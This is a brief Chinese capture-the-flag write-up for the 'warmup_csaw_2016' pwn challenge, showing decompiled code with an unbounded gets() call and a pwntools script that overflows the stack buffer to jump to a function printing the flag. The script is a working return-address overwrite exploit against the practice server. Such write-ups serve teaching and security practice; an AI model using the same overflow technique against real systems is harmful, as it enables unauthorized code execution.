64位,没有开启保护

    1. int __fastcall main(__int64 a1, char **a2, char **a3)
    2. {
    3. char s; // [sp+0h] [bp-80h]@1
    4. char v5; // [sp+40h] [bp-40h]@1
    5. write(1, "-Warm Up-\n", 0xAuLL);
    6. write(1, "WOW:", 4uLL);
    7. sprintf(&s, "%p\n", sub_40060D);
    8. write(1, &s, 9uLL);
    9. write(1, ">", 1uLL);
    10. return gets(&v5, ">");
    11. }

    get函数直接溢出到 sub_40060D 拿flag

    1. int sub_40060D()
    2. {
    3. return system("cat flag.txt");
    4. }

    编写脚本

    1. from pwn import *
    2. context(os="linux", arch="amd64", log_level="debug")
    3. content = 0
    4. system_flag = 0x40060D
    5. def main():
    6. if content == 1:
    7. peiqi = process("warmup_csaw_2016")
    8. else:
    9. peiqi = remote("node3.buuoj.cn",28098)
    10. payload = b'a' * (0x40 + 8)
    11. payload = payload + p64(system_flag)
    12. peiqi.recvuntil('>')
    13. peiqi.sendline(payload)
    14. peiqi.interactive()
    15. main()

    image.png